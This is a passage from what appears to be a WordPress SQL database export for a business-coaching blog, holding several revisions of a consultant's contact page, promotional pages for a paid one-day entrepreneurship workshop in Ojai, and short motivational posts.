wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n<h3>The Significant Life</h3>\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n<h3>Meaning + Contribution = Significant Happiness</h3>\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience sustained happiness, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows on you for lighting the way for yourself and others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-5', '', '', '2009-04-03 08:56:18', '2009-04-03 15:56:18', '', 8, 'http://www.whitehotcenter.com/8-revision-5', 0, 'revision', '', 0),
(143, 1, '2009-04-26 16:52:40', '2009-04-26 23:52:40', '<img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" />\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business to new levels of success. Thomson is a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to global companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications  design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\nThomson is an independent brand strategy consultant and the Managing Partner of <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation</a>, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through management consulting and coaching, strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n[embed]https://www.youtube.com/watch?v=ZhBhjF7ocW0[/embed]\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro-bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]\r\n<br />&nbsp;\r\n<br />&nbsp;', 'Connect with Thomson Dawson.', 0, '', 'publish', 'closed', 'closed', '', 'contact', '', '', '2015-10-14 10:37:14', '2015-10-14 17:37:14', '', 0, 'http://www.whitehotcenter.com/?page_id=143', 7, 'page', '', 0),
(3074, 1, '2015-10-09 13:05:54', '2015-10-09 20:05:54', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n\r\n[embed]https://www.youtube.com/watch?v=ZhBhjF7ocW0[/embed]\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 13:05:54', '2015-10-09 20:05:54', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0);
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(1215, 2, '2010-10-29 15:12:51', '2010-10-29 22:12:51', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;">For years, I would daydream about living and working in a beautiful, natural environment. Here it is. Proof that achievement is the result of inspired, energy-infused thought. Nothing is more comforting to my soul than living in an orange grove, and I''m delighted to share the view with you here.\r\n</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA</strong>\r\n\r\n<strong> </strong>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span>\r\ninspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more value.  I do this in two ways.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Organizations:\r\nAs Managing Partner of PULL Brand Innovation, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Entrepreneurs and Solo Professionals:\r\nI am the founder, writer and voice of www.whitehotcenter.com, a personal and professional development blog serving creative entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who want to jam on bringing their best ideas into physical form.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a contributing writer to publications and blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span>\r\n</strong></span>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2010-10-29 15:12:51', '2010-10-29 22:12:51', '', 143, 'http://www.whitehotcenter.com/2010/10/29/143-revision-27/', 0, 'revision', '', 0),
(144, 1, '2009-04-26 16:52:24', '2009-04-26 23:52:24', '', 'contact', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-04-26 16:52:24', '2009-04-26 23:52:24', '', 143, 'http://www.whitehotcenter.com/143-revision', 0, 'revision', '', 0),
(145, 1, '2009-04-26 16:57:05', '2009-04-26 23:57:05', '&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong>\r\n</strong></h2>\r\n<h2><strong>Strategies for Creating Competitive Advantage\r\nfor Entrepreneurs, Solo Professionals and Small Business Owners\r\nNovember 7, 2014\r\nOjai, California\r\n</strong></h2>\r\n<h2><strong>Facilitated by\r\nThomson Dawson\r\nStrategic Brand Development\r\nand Business Transformation Expert\r\n</strong></h2>\r\n<h2><span style="color: #ff8c00;">A one-day intensive business transformation workshop designed to guide early stage entrepreneurs, solo professionals and small business owners to build a solid foundation for brand strategy, marketing, business development and sales success.</span></h2>\r\nWatch the video to learn more about what we’ll cover in the workshop.\r\n\r\n<strong>Transforming your business for the next level of growth.</strong>\r\n\r\nIf you’re an early stage entrepreneur, self-employed professional or small business owner, you know the importance of having a steady stream of clients and customers coming your way. The truth is many entrepreneurs struggle creating a consistent stream of higher value clients. Many more resist the marketing and sales process altogether opting instead to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace the idea of building your brand, marketing your value with consistency, and the mastery of business development, lead generation and sales pipeline as the essential skill for your business success.\r\n\r\nMore importantly, you’ll need to stay in the right frame of mind to guide your creativity and effective actions, if you are to turn your greater possibilities into achievement.\r\n\r\nThe reality in today’s new economy is clients and customers have abundant choice. When clients have abundant choice, competition and commoditization become the dominant forces in the marketplace. In this unique seminar you’ll learn the strategies and practices that will enable you to make competition irrelevant!\r\n\r\nHere’s what you’ll learn:\r\n\r\n<strong>Principles on mastering the "inner game" of business and life success.</strong>\r\n\r\n<strong>How to gain radical advantage over would-be competitors in an ultra-competitive marketplace.</strong>\r\n\r\n<strong>How to target and find the right clients who are a perfect fit for you.</strong>\r\n\r\n<strong>How to differentiate your business from alternatives to your firm in ways that matter to your clients!</strong>\r\n\r\n<strong>How to command premium prices and greater profit margins when your competitors are discounting their price to win business.</strong>\r\n\r\n<strong>How to develop a compelling brand that represents your value to customers in ways that enable you to command premium pricing.</strong>\r\n\r\n<strong>How to master your personal effectiveness and performance.</strong>\r\n\r\n<strong>How to create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of products and services you’ll offer higher value customers.</strong>\r\n<h2> <strong>If you’re serious about growing your business to the next level so you can have more impact, influence and income, you will not want to miss attending this strategic business transformation workshop designed and facilitated by Business Transformation and Brand Strategy expert Thomson Dawson.\r\n</strong></h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop1.jpg"><img class="alignnone size-full wp-image-2586" title="Thomson Dawson Quantum Leap Workship" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop1.jpg" alt="" width="497" height="632" /></a>\r\n<h2><strong></strong> <span style="color: #ff8c00;">Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your brand, business development and sales success. Spend one day innovating your bigger, better future and get your business to the next level.</span></h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business transformation workshop for all early stage  entreprenuers,  solo professionals and small business owners and their teams who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$695.00 USD per person\r\nSpecial discount of $50 off for early registration prior to October 1, 2014\r\nAdditional discount of $30 off for each additional person in your firm prior to October 1, 2014.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h3><span style="color: #888888;">Early Registration\r\n</span></h3>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accommodations, and how to confirm your spot in early registration prior to October 1, 2014. This workshop has limited capacity and will fill up quickly.\r\n<h3><a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank"><strong>Register Now and Save!</strong></a></h3>', 'Hot Info to Grow On!', 0, '', 'draft', 'closed', 'closed', '', 'hot-info', '', '', '2015-10-07 11:22:56', '2015-10-07 18:22:56', '', 0, 'http://www.whitehotcenter.com/?page_id=145', 5, 'page', '', 0),
(2424, 2, '2013-08-09 16:01:08', '2013-08-09 23:01:08', '&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong>\r\nStrategies for Creating Competitive\r\nAdvantage for Early-Stage Entrepreneurs\r\nNovember 8th, 2013\r\nOjai, California\r\n</strong></h2>\r\n<h2><strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers</strong></h2>\r\n<h2><span style="color: #f5a509;">A one-day intensive business transformation workshop designed to guide early stage creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success at the early stage of their business. Watch the video to learn more about what we''ll cover in the workshop.</span></h2>\r\n<h3><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h3>\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage entrepreneurs struggle finding a steady stream of higher value clients. Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater <strong>possibilities into achievement</strong>.\r\n\r\n<strong>Clients have abundant choice.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n\r\n<img class="alignnone size-full wp-image-2382" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/06/thomson-sd-1.jpg" alt="" width="515" height="361" />\r\n<h2><strong></strong> Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all early-stage creative entreprenuers  and solo professionals who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$995.00 USD per person\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly.\r\n\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2013-08-09 16:01:08', '2013-08-09 23:01:08', '', 145, 'http://www.whitehotcenter.com/2013/08/145-revision-140/', 0, 'revision', '', 0),
(2257, 2, '2013-05-20 13:06:44', '2013-05-20 20:06:44', '<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong><span style="color: #dd9703;">\r\nStrategies for Creating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage for Early-Stage Entrepreneurs\r\n<span style="color: #000000;">November, 2013</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2>A one-day intensive business transformation workshop designed to guide early stage creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success at the early stage of their business. Watch the video to learn more about what we''ll cover in the workshop.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h1>\r\n&nbsp;\r\n\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage early stage entrepreneurs struggle finding a steady stream of higher value clients. Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\n</strong>Let’s face it, when clients have abundant choice, competition is always fierce. How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n<h2><strong></strong>Take a quantum leap in your brand building and business development success. Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all early-stage creative entreprenuers who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$895.00 USD per person\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2013-05-20 13:06:44', '2013-05-20 20:06:44', '', 145, 'http://www.whitehotcenter.com/2013/05/145-revision-133/', 0, 'revision', '', 0),
(2256, 2, '2013-05-20 13:04:15', '2013-05-20 20:04:15', '<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong><span style="color: #dd9703;">\r\nStrategies for Creating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage for Early-Stage Entrepreneurs\r\n<span style="color: #000000;">November, 2013</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2>A one-day intensive strategic business transformation workshop is designed to guide early stage creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success that will enable them to achieve a quantum leap in the growth of their business at the early stage of their success. Watch the video to learn more about what we''ll cover in the workshop.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h1>\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage early stage entrepreneurs struggle finding a steady stream of higher value clients. Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\n</strong>Let’s face it, when clients have abundant choice, competition is always fierce. How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n<h2><strong></strong>Take a quantum leap in your brand building and business development success. Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all early-stage creative entreprenuers who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$895.00 USD per person\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2013-05-20 13:04:15', '2013-05-20 20:04:15', '', 145, 'http://www.whitehotcenter.com/2013/05/145-revision-132/', 0, 'revision', '', 0),
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(154, 1, '2009-04-04 17:20:10', '2009-04-05 00:20:10', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif"><img class="alignnone size-full wp-image-55" title="Talk Isn''t Cheap" src="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif" alt="Talk Isn''t Cheap" width="400" height="194" /></a>\r\n<h2><span style="color: #ff8c00;">Have you ever thought about the words you use in your daily life?  What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others?</span></h2>\r\nYour words are very important in determining how you feel about you. How do your words make you feel? This is a simple question. Thinking about the answer is a good idea. In my business life, I hear lots of words coming out of the people that I come into contact with. I pay attention to words. The words people use in conversation are nothing more than the representation or reflection of what’s going on with them on the inside. When you are discussing a painful or difficult situation with someone, are the words you choose those of a victor or a victim?\r\n\r\nHere’s a powerful little experiment you may want to try on yourself. Write down the 10 words you seem to use the most in conversation.  Are they words of empowerment, hope, leadership, and inspiration?  If not, you may want to become more aware of the words coming out of your mouth.  All the successful people I have met,  choose their words carefully and speak in tones that reflect their devotion to their dreams and higher ideals.  When you choose language composed of words that make you and others feel better, you automatically produce a greater result.\r\n\r\nWords are powerful. Your words are the bricks that pave the road you walk on in life. Choose them wisely.', 'Talk isn''t 